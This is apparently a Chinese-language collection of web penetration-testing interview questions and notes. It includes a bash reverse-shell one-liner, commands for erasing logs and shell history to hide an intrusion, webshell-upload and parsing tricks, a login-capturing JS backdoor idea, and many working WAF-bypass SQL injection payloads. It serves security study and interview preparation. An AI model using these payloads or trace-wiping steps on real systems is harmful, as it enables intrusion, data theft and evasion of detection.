MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务，一般不需要通过web方式进行远程管理，建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false

3、限制绑定IP

启动时加入参数

–bind_ip 127.0.0.1

或在/etc/mongodb.conf文件中添加以下内容：

bind_ip = 127.0.0.1

Memcached是一套常用的key-value缓存系统，由于它本身没有权限控制模块，所以对公网开放的Memcache服务很容易被攻击者扫描发现，攻击者通过命令交互可直接读取Memcached中的敏感信息。

利用

1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听，存在memcached未授权访问漏洞。

2、telnet 11211，或nc -vv 11211，提示连接成功表示漏洞存在

漏洞加固

1、设置memchached只允许本地访问

2、禁止外网访问Memcached 11211端口

3、编译时加上–enable-sasl，启用SASL认证

FFMPEG 本地文件读取漏洞

原理

通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞，m3u8头，偏移量，加密。

安全知识

WEB

STRUTS,SPRING

其实面试官问这个问题的时候我不太清楚他要问什么，我提到struts的045 048，java常见反序列化。

045 错误处理引入了ognl表达式

048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式

反序列化 操作对象，通过手段引入。apache common的反射机制、readobject的重写，其实具体的我也记不清楚。。。然后这部分就结束了

同源策略限制不同源对当前document的属性内容进行读取或设置。

不同源的区分：协议、域名、子域名、IP、端口，以上有不同时即不同源。

涉及到Jsonp的安全攻防内容

JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。

攻击页面

JSON劫持，跨域劫持敏感信息，页面类似于

function wooyun(v){

    alert(v.username);

}

Content-type不正确情况下，JSONP和Callback内容可定义可造成XSS。

JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。

PHP

php中命令执行涉及到的函数

eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()

file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

安全模式下绕过php的disable fuction

DL函数，组件漏洞，环境变量。

== 在进行比较的时候，会先将字符串类型转化成相同，再比较

如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换成数值并且比较按照数值来进行

0e开头的字符串等于0

数据库

各种数据库文件存放的位置

mysql:/usr/local/mysql/data/ C:\ProgramData\MySQL\MySQL Server 5.6\Data

oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

系统知识

meterpreter: clearev

web日志，如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除

e.g. sed -i -e ‘/192.169.1.1/d’

history命令的清除，也是对~/.bash_history进行定向清除

wtmp日志的清除，/var/log/wtmp

登录日志清除 /var/log/secure

LINUX基础

netstat -antp ss -l

ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息，而且比netstat更快速更高效。

bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

通过Linux系统的/proc目录 ，能够获取到哪些信息，这些信息可以在安全上有哪些应用？

ls /proc

系统信息，硬件信息，内核版本，加载的模块，进程

/etc/ssh/sshd___config

iptables配置

tail -n 100 filename

Windows基础

如何加固一个域环境下的Windows桌面工作环境？请给出你的思路。

AES／DES的具体工作步骤

RSA算法

加密:

$$

密文＝明文^EmodN

$$

RSA加密是对明文的E次方后除以N后求余数的过程

$$

公钥＝(E,N)

$$

解密:

$$

明文＝密文^DmodN

$$

$$

私钥＝(D,N)

$$

三个参数n,e1,e2

n是两个大质数p,q的积

分组密码的加密模式

引用之前一个学长的答案，可以通过一些物理系统生成随机数，如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。

建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。

这部分本来是忘了的，但是之前看SSL Pinning的时候好像记了张图在脑子里，挣扎半天还是没敢确定，遂放弃。。。

对称加密与非对称加密的不同，分别用在哪些方面

TCP三次握手的过程以及对应的状态转换

（1）客户端向服务器端发送一个SYN包，包含客户端使用的端口号和初始序列号x；

（2）服务器端收到客户端发送来的SYN包后，向客户端发送一个SYN和ACK都置位的TCP报文，包含确认号xx1和服务器端的初始序列号y；

（3）客户端收到服务器端返回的SYNSACK报文后，向服务器端返回一个确认号为yy1、序号为xx1的ACK报文，一个标准的TCP连接完成。

tcp面向连接,udp面向报文

tcp对系统资源的要求多

udp结构简单

tcp保证数据完整性和顺序，udp不保证

1、客户端发送请求到服务器端

2、服务器端返回证书和公开密钥，公开密钥作为证书的一部分而存在

3、客户端验证证书和公开密钥的有效性，如果有效，则生成共享密钥并使用公开密钥加密发送到服务器端

4、服务器端使用私有密钥解密数据，并使用收到的共享密钥加密数据，发送到客户端

5、客户端使用共享密钥解密数据

6、SSL加密建立

过滤ip:

过滤源ip地址:ip.src==1.1.1.1;,目的ip地址:ip.dst==1.1.1.1;

过滤端口:

过滤80端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80

协议过滤:

直接输入协议名即可,如http协议http

http模式过滤:

过滤get/post包http.request.mothod==”GET/POST”

防火墙

简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项，以及配置方法。

来源：https://zhuanlan.zhihu.com/p/395959005

答：收集信息

whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息另说...

答：5.0以下没有information_schema这个系统表，无法列表名等，只能暴力跑表名。

5.0以下是多用户单操作，5.0以上是多用户多操做。

答：丢社工库里看看有没有泄露密码，然后尝试用泄露的密码进行登录后台。

用邮箱做关键词进行丢进搜索引擎。

利用搜索到的关联信息找出其他邮进而得到常用社交账号。

社工找出社交账号，里面或许会找出管理员设置密码的习惯 。

利用已有信息生成专用字典。

观察管理员常逛哪些非大众性网站，拿下它，你会得到更多好东西。

答：查找网上已曝光的程序漏洞。

如果开源，还能下载相对应的源码进行代码审计。

答：敏感文件、二级目录扫描

站长的误操作比如：网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

答：IIS、Apache、nginx、Lighttpd、Tomcat

答：root权限以及网站的绝对路径。

答：IIS 6.0

/xx.asp/xx.jpg "xx.asp"是文件夹名

IIS 7.0/7.5

默认Fast-CGI开启，直接在url中图片地址后面输入/1.php，会把正常图片当成php解析

Nginx

版本小于等于0.8.37，利用方法和IIS 7.0/7.5一样，Fast-CGI关闭情况下也可利用。

空字节代码 xxx.jpg%00.php

Apache

上传的文件命名为：test.php.x1.x2.x3，Apache是从右往左判断后缀

lighttpd

答：linux大小写敏感,windows大小写不敏感。

更改了端口，没有扫描出来。

站库分离。

3306端口不对外开放

答：没开放3389 端口

端口被修改

防护拦截

处于内网(需进行端口转发)

答：宽字符注入

hex编码绕过

答：查看编辑器的名称版本,然后搜索公开的漏洞。

答：能做的事情很多，用隐藏网马来举例子：

插入

SetHandler application/x-httpd-php

.jpg文件会被解析成.php文件。

具体其他的事情，不好详说，建议大家自己去搜索语句来玩玩。

答：只要权限广，拖库脱到老。

答：是根据特征码，所以很好绕过了，只要思路宽，绕狗绕到欢，但这应该不会是一成不变的。

答：迅雷下载，直接改后缀为.mdb。

答：因为exp执行多半需要空格界定参数

答：同数据库。

答：and/or/xor，前面的1=1、1=2步骤只是为了判断是否为注入点，如果已经确定是注入点那就可以省那步骤去。

答：系统检测到你有非法注入的行为。 已记录您的ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1

在URL里面直接提交一句话，这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件

答：浏览器中改编码。

答：有些站点的上传文件类型的限制是在前端实现的，这时只要增加上传类型就能突破限制了。

答：先爆破用户名，再利用被爆破出来的用户名爆破密码。

其实有些站点，在登陆处也会这样提示

所有和数据库有交互的地方都有可能有注入。

答这就是传说中的下载漏洞！在file=后面尝试输入index.php下载他的首页文件，然后在首页文件里继续查找其他网站的配置文件，可以找出网站的数据库密码和数据库的地址。

答：直接在网站二级目录/abc/下扫描敏感文件及目录。

答：后台登录处加一段记录登录账号密码的js，并且判断是否登录成功，如果登录成功，就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

在登录后才可以访问的文件中插入XSS脚本。

答：审查元素 把密码处的password属性改成text就明文显示了

答：原因很多，有可能web服务器配置把上传目录写死了不执行相应脚本，尝试改后缀名绕过

答：在敏感操作被拦截，通过界面信息无法具体判断是什么防护的时候，F12看HTML体部 比如护卫神就可以在名称那看到内容。

答：隐藏文件夹，为了不让管理员发现你传上去的工具。

答：A. demo.jsp?id=2+1

选B，在 URL 编码中 + 代表空格，可能会造成混淆

答：demo.do?DATA=AjAxNg==

DATA有可能经过了 base64 编码再传入服务器，所以我们也要对参数进行 base64 编码才能正确完成测试

答：有写入权限的，构造联合查询语句使用using INTO OUTFILE，可以将查询的输出重定向到系统的文件中，这样去写入 WebShell

使用 sqlmap –os-shell 原理和上面一种相同，来直接获得一个 Shell，这样效率更高

通过构造联合查询语句得到网站管理员的账户和密码，然后扫后台登录后台，再在后台通过改包上传等方法上传 Shell

答：XSS是跨站脚本攻击，用户提交的数据中可以构造代码来执行，从而实现窃取用户信息等攻击。修复方式：对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击，XSS是实现CSRF的诸多手段中的一种，是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式：筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer

XXE是XML外部实体注入攻击，XML中可以通过调用实体来请求本地或者远程内容，和远程文件保护类似，会引发相关安全问题，例如敏感文件读取。修复方式：XML解析库在调用时严格禁止对外部实体的解析。

答：CSRF是跨站请求伪造攻击，由客户端发起

SSRF是服务器端请求伪造，由服务器发起

重放攻击是将截获的数据包进行重放，达到身份认证等目的

答：密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码

身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒，只要得到 Session 或 Cookie 即可伪造用户身份

验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过

答：get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world” HTTP/1.1

Host:.com:82

User-Agent:Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1

Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3

Referer:http://.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=145902

Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;

uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;st_uid=N90PLYHLZGJXI-NX01VPUF46W;status=TrueConnection:keep-alive

记住这些问题，提前准备，面试不用愁！

Sql注入

XSS

CSRF

SSRF

代码执行

文件读取

命令执行

文件上传

文件包含

未授权访问

框架漏洞

Cms漏洞

同源策略

文件上传目录设置为不可执行

使用白名单判断文件上传类型

用随机数改写文件名和路径

Nmap

使用字典枚举

查看网站robots.txt文档

Dirbuster，御剑等工具

手工判断

1.注入点判断

判断某个链接是否存在SQL注入，可以通过对其传入的可控参数进行简单的构造，通过服务端返回的内容来判断有无注入

数字类型，参数不用被引号括起来，如?id=1

其他类型，参数要被引号扩起来,如?name="phone"

服务端返回错误形式

错误直接回显在页面上

错误隐藏在页面源代码中

检测到错误跳转到另一个页面

返回HTTP错误代码500或重定向302

适当处理错误结果，常显示一个通用错误页面

2.工具扫描

Sqlmap

尝试绕过

1>注释符

    相信很多朋友都知道SQL的注释符吧，这算是绕WAF用的最广泛的了。它们允许我们绕过很多Web应用程序防火墙和限制，我们可以注释掉一些sql语句，然后让其只执行攻击语句而达到入侵目的。

    常用注释符：

//, -- , /**/, #, --+, -- -, ;%00

2>情况改变 

    然而，以前审计的一些开源程序中，有些厂商的过滤很不严谨，一些是采用黑名单方式过滤，但是有些只过滤了小写形式，然而在传参的时候并没有将接收参数转换为小写进行匹配。针对这种情况，我们很简单就能绕过。

    比如它的过滤语句是：

 /union\sselect/g

    那么我们就可以这样构造：

id=1+UnIoN/**/SeLeCT

3>内联注释

    有些WAF的过滤关键词像/union\sselect/g，就比如上面说的，很多时候我都是采用内联注释。更复杂的例子需要更先进的方法。比如添加了SQL关键字，我们就要进一步分离这两个词来绕过这个过滤器。

id=1/*!UnIoN*/SeLeCT

    采用/*! code */来执行我们的SQL语句。内联注释可以用于整个SQL语句中。所以如果table_name或者者information_schema进行了过滤，我们可以添加更多的内联注释内容。

比如一个过滤器过滤了：

union,where, table_name, table_schema, =, and information_schema

    这些都是我们内联注释需要绕过的目标。所以通常利用内联注释进行如下方式绕过：

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

    通常情况下，上面的代码可以绕过过滤器，请注意，我们用的是 Like而不是 =

    当一切似乎失败了之后，你可以尝试通过应用防火墙关闭SQL语句中使用的变量：

id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -

    即使常见内联注释本身没有工作，上述的代码也应该可以绕过union+select过滤器。

4>缓冲区溢出：

    意想不到的输入：

    我们知道，很多的WAFS都是C语言的，他们在装载一堆数据的时候，很容易就会溢出。下面描述的就是一个这样的WAF，当它接收到大量数据恶意的请求和响应时。

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+

    上面的bypass语句，我在最近的一个网站绕过上用到了。

5>替换关键字（preg_replace and/or都能达到相同目的）：

    有时程序会删除所有的关键字，例如，有一个过滤器，他会把union select变成空白，这时我们可以采用以下方式进行绕过：

id=1+UNIunionON+SeLselectECT+1,2,3–

    不难明白吧？union和select变成空白了，两边的又会重新组合成新的查询。

UNION+SELECT+1,2,3--

6>Character编码：

    有些情况下，WAF对应用程序中的输入进行解码，但是有些WAF是只过滤解码一次的，所以只要我们对bypass语句进行双重编码就能将其绕过之。(WAF解码一次然后过滤，之后的SQL语句就会被自动解码直接执行了~)

    双重编码bypass语句示例：

id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

        一些双重编码举例：

单引号：'

%u0027

%u02b9

%u02bc

%u02c8

%u2032

%uff07

%c0%27

%c0%a7

%e0%80%a7

空白：

%u0020

%uff00

%c0%2

%c0%a0

%e0%80%a0

左括号(:

%u0028

%uff08

%c0%28

%c0%a8

%e0%80%a8

右括号):

%u0029

%uff09

%c0%29

%c0%a9

%e0%80%a9

7>综合：

绕过几个简单的WAF之后，后面的任务也越来越容易了~下面说几种方法来绕过你的目标WAF。

    7a>拆散SQL语句：

    通常的做法是：需要把SQL注入语句给拆散，来检查是哪个关键字被过滤了。比如，如果你输入的是union+select语句，给你报了一个403或内部服务器错误，什么union不合法什么的，就知道过滤了哪些了，也是常见的Fuzzing测试。这是制造bypass语句的前提。

    7b>冗长的报错：

    当你的sql语法输入错误时、对方网站又没关闭错误回显的时候，会爆出一大堆错误，在php中更会爆出敏感的网站根目录地址。aspx则会爆出整个语法错误详细信息。

    比如你输入的语法是：

 id=1+Select+1,2,3--

    会给你报出以下错误：

Error at line 1 near " "+1,2,3--

    上面也说过了黑名单方式过滤，也可以采用以下方式进行绕过：

sel%0bect+1,2,3

     这只是众多方法之一，绕过不同WAF需要不同的bypass思路。

8>高级bypass技巧：

没写过，但是看过一些相关文章，可以借鉴文章做出来

（https://y4er.com/post/sqlmap-tamper/）

3306/tcp,udp MySQL数据库系统

1433/tcp,udp Microsoft SQL 数据库系统

8080/tcp Tomcat

（https://zh.wikipedia.org/wiki/TCP/UDP%E7%AB%AF%E5%8F%A3%E5%88%97%E8%A1%A8）

使用过h5，css，js，django的简单实用。可以看懂实现流程

利用数据库上传。

数据库中secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径；当写入开关打开时，便可以进行webshell写入与查看。然后然后利用此菜刀、蚁剑或者冰蝎链接即可。

数据库备份为大多数CMS后台管理页面必备的功能，但是如果后台校验不严格，容易通过恢复备份方式上传WebShell，以下以emlog的CMS讲，测试版本5.3.0

https://www.freebuf.com/articles/web/246228.html

学习过。会用。

Xss平台主要的获取cookie操作就在于这段js代码里面，随后在将数据发送至某个控制器中进行处理。而插入的短地址指向的内容其实就是平台的一串JS代码。最后访问即直接调用的这串JS代码。

这种短连接也可以网上搜索或创建使用。

信息收集，漏洞探测，漏洞利用，提权，清除测试数据&输出报告，复测

Udf和mof

1.目标系统是Windows(Win2000,XP,Win2003)；

2.拥有MYSQL的某个用户账号，此账号必须有对mysql的insert和delete权限以创建和抛弃函数

3.有root账号密码

导出udf:

MYSQL 5.1以上版本，必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数

Md5

Base64

Aes

Rsa

Sha

加盐

https

本地防护软件防护

云防护

购买并配置防火墙防护

架设Ids

有，通过需求自己选择。如ip，tcp，udp包。

web日志

history命令的清除

wtmp日志的清除

登录日志清

order by注入 limit注入 后面跟的函数有什么不同

order by 含义

sqlserver注入

基于css的xss

基于flash的xss原理

过滤了单引号into outfile还能用吗

除了script ,html事件之外还有哪些存在xss的地方

iis拒绝服务原理

ssrf除了探测主机外如何进一步进行攻击

uname -a ‘-a’参数可控如何执行多条指令